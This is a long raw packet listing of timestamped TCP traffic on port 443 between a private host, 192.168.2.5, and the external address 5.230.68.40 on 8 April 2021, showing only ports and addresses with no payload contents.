Apr 8, 2021 18:46:35.811256886 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811259031 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.811316013 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811350107 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811408043 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.811408043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811418056 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.811461926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811511993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811516047 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.811561108 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811610937 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811614037 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.811669111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811690092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811727047 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811763048 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.811784983 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.811831951 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811883926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811933994 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.811933994 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.811984062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.812032938 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.812033892 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.812091112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.812127113 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.812174082 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.812176943 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.812237978 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.812289000 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.813420057 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.813474894 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.813514948 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.813544035 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.813575983 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.830259085 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.830324888 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.830385923 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.830439091 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.830447912 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.830533981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.830594063 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.830632925 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.830658913 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.830713987 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.830717087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.830782890 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.830833912 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.830837011 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.830894947 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.830945969 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.830952883 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831020117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831070900 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831079960 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.831124067 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831173897 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831176996 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.831227064 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831275940 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831280947 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.831326008 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831378937 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.831381083 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831413984 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831464052 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.831506014 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831557989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831607103 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831614017 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.831660986 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.831693888 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831938028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831989050 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.831991911 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.832040071 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832089901 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832092047 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.832150936 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832199097 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.832201958 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832263947 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832317114 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.832324028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832386017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832446098 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832446098 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.832511902 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832560062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832566023 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.832604885 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832653999 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.832657099 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832706928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832755089 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832755089 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.832804918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832856894 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832860947 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.832907915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832956076 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.832958937 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.833007097 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.833055973 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.833056927 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.833106041 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.833156109 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.833187103 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.833209991 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.833261013 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.849682093 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.849751949 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.849797964 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.849848986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.849896908 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.849909067 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.849946976 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.849953890 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.850008011 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.850012064 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.850058079 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.850109100 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.850112915 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.850163937 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.850214005 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.850214958 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.850267887 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.850308895 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.850318909 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.851133108 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.851192951 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.851197958 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.851244926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.851294994 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.851294994 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.851346016 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.851394892 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.851397038 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.851447105 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.851491928 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.851496935 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.851548910 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.851591110 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.851598978 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.851650953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.851696968 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.851700068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.851761103 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.851804972 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.853072882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.853127003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.853176117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.853208065 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.853225946 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.853276968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.853281021 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.853327036 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.853370905 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.853377104 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.853451014 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.853502989 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.853509903 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.853574991 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.853624105 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.853663921 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.853689909 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.853738070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.853785992 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.881170034 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.881234884 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.881297112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.881361961 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.881396055 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.881428003 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.881442070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.881495953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.881542921 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.881546021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.881597996 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.881647110 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.881649017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.881707907 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.881755114 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.881758928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.881810904 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.881853104 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.881858110 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.881910086 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.881964922 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.881973028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882035017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882093906 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.882096052 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882165909 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882205963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882263899 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.882266998 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882328033 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882375002 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.882389069 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882450104 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882496119 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.882514000 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882540941 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882565022 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882595062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882662058 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.882683039 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882734060 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882781029 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.882781982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882833958 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882877111 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.882884026 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882934093 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.882977962 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.882982969 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883033037 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883111000 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.883122921 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883193970 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883240938 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.883249044 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883295059 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883342028 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.883344889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883395910 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883443117 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.883445024 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883497953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883550882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883554935 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.883616924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883668900 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.883672953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883725882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883776903 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883780956 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.883830070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883879900 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883888006 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.883932114 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883971930 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.883984089 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.884021997 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884073019 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884073019 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.884123087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884171963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884172916 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.884223938 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884275913 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884279013 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.884327888 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884377956 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884409904 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.884428978 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884478092 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.884480000 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884531021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884577990 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.884579897 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884620905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884670973 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.884671926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884711981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884763002 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.884772062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884830952 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884884119 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.884891033 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.884952068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885011911 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885004044 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.885072947 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885122061 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.885133028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885195017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885255098 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885297060 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.885317087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885370970 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885402918 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.885452986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885507107 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885508060 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.885560989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885611057 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.885622025 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885683060 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885735989 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.885744095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885806084 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885853052 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.885865927 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885926962 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.885976076 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.885987997 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.886049986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.886099100 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.886111021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.886162996 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.886205912 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.886223078 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.886282921 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.886332989 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.886343956 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.886404991 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.886449099 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.886466026 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.886528015 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.886569977 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.886588097 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.886650085 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.886694908 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.886713028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.886774063 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.886818886 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.887758970 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.887816906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.887866974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.887898922 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.887921095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.892021894 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.904606104 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.904654980 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.904696941 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.904738903 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.904777050 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.904783010 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.904808998 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.904825926 CEST	443	49727	5.230.68.40	192.168.2.5
